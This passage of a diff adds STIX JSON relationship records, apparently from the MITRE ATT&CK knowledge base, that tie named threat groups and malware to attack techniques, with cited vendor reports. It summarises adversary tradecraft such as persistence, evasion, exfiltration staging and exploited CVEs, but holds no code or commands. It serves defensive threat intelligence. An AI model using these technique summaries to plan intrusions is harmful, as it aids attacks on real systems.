"2020-06-22T17:54:16.024Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", + "description": "Kasza, A. and Reichel, D. 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Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--83075ee3-b372-48a4-a54c-ca54afdd8c0b", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has extensively used strategic web compromises to target victims.(Citation: Dell TG-3390)(Citation: Securelist LuckyMouse June 2018)", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "modified": "2019-07-14T21:15:55.225Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3dad318f-b446-49c6-a62b-f0596b63a9c5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used CMSTP.exe and a malicious INF to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: FireEye MuddyWater Mar 2018)", + "target_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "modified": "2019-06-28T15:30:58.709Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--98908617-068d-4b6e-bcba-ad213c137b1e", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled tasks to persist on victim systems.(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-03-28T21:22:43.255Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). 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Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. 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Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--84f88ed3-28fe-4936-8ea2-2d4f6d015c0c", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)", + "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235", + "modified": "2020-03-19T21:16:25.318Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts", + "description": "Axel F. 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Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--48eff76f-1f39-49e8-87c2-11607a8aeea3", + "description": "[yty](https://attack.mitre.org/software/S0248) collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server.(Citation: ASERT Donot March 2018)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2019-04-25T00:09:23.203Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get the victim's domain and NetBIOS name.(Citation: Volexity PowerDuke November 2016)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-04-22T22:31:38.370Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--61f91f23-a8a5-4b4e-b546-f0fff28851a1", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2021-08-19T16:54:10.378Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--10c33088-630e-456d-ad0f-8a63be4d3946", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) uses SSL for encrypting C2 communications.(Citation: Blasco 2013)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-04-29T22:15:31.440Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Blasco 2013", + "description": "Blasco, J. (2013, March 21). New Sykipot developments [Blog]. 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Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd", + "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "modified": "2020-01-15T16:27:32.719Z", + "source_ref": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6fdc3210-9754-4157-b386-8fcd680e732c", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used PowerShell scripts to download and execute programs in memory, without writing to disk.(Citation: Alperovitch 2014)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2019-03-22T20:09:34.777Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.043Z", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. 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Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--636be06a-5c19-45c8-b6be-c38634c583dc", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) finds a specified directory, lists the files and metadata about those files.(Citation: Unit 42 Kazuar May 2017)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-04-24T15:26:03.780Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/", + "description": "Levene, B, et al. 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--812073c3-43c5-4f92-b396-56b669eee0ad", + "description": "[Dyre](https://attack.mitre.org/software/S0024) uses HTTPS for C2 communications.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)\t ", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-06-15T20:49:55.663Z", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf", + "description": "Symantec Security Response. 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The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cc13f316-0f88-4ed1-8790-b13bc35be119", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "modified": "2020-06-24T01:27:31.909Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. 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Retrieved June 9, 2020.", + "source_name": "Trend Micro Tick November 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. 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Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Loaders" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2", + "description": "[Starloader](https://attack.mitre.org/software/S0188) has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.(Citation: Symantec Sowbug Nov 2017)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-03-18T16:01:37.948Z", + "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", + "description": "Symantec Security Response. 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Retrieved January 8, 2018.", + "source_name": "OilRig New Delivery Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f8705660-10d1-4eca-80c6-f2884cdecb36", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.(Citation: McAfee Gold Dragon)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2020-04-21T23:09:31.584Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. 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Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.(Citation: RSA2017 Detect and Respond Adair)", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2021-06-16T15:46:43.276Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.060Z", + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://published-prd.lanyonevents.com/published/rsaus17/sessionsFiles/5009/HTA-F02-Detecting-and-Responding-to-Advanced-Threats-within-Exchange-Environments.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--283ba525-5180-461a-989b-87fc2f896ed7", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can execute shell commands using cmd.exe.(Citation: US-CERT KEYMARBLE Aug 2018)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T02:14:26.689Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--64a17aba-5182-4666-bd37-dafa9d835fe8", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2019-09-09T19:15:45.447Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.069Z", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a5015a35-a6a2-4289-8d79-79b583c23e63", + "description": "(Citation: FireEye APT30)", + "target_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2019-03-22T18:44:28.659Z", + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.048Z", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21", + "description": "Based on comparison of [Gazer](https://attack.mitre.org/software/S0168) versions, [Turla](https://attack.mitre.org/groups/G0010) made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.(Citation: ESET Gazer Aug 2017)", + "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "modified": "2019-07-14T21:04:44.978Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bbd29878-c16a-45ee-9785-78550f080d83", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.(Citation: PWC Cloud Hopper April 2017)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-17T00:25:45.643Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eade28d3-c5ce-453e-8e57-3262167c30be", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects the OS name, machine name, and architecture information.(Citation: Unit 42 VERMIN Jan 2018)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-16T19:50:57.860Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f298e191-bb50-48b2-ba3c-d432af8ec457", + "description": "[Proton](https://attack.mitre.org/software/S0279) kills security tools like Wireshark that are running.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "modified": "2019-06-24T19:03:52.718Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--31bd2260-ef8d-4f69-a7a8-9388e0d721c9", + "description": "[JPIN](https://attack.mitre.org/software/S0201)'s installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.(Citation: Microsoft PLATINUM April 2016)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-16T16:57:38.944Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7ec2b835-9c82-4a0a-9730-5f4b87e233f4", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) had exploited multiple vulnerabilities for execution, including Microsoft\u2019s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, CVE-2017-0199, and CVE-2017-8759.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: TrendMicro Cobalt Group Nov 2017)", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "modified": "2019-07-26T23:38:33.949Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": 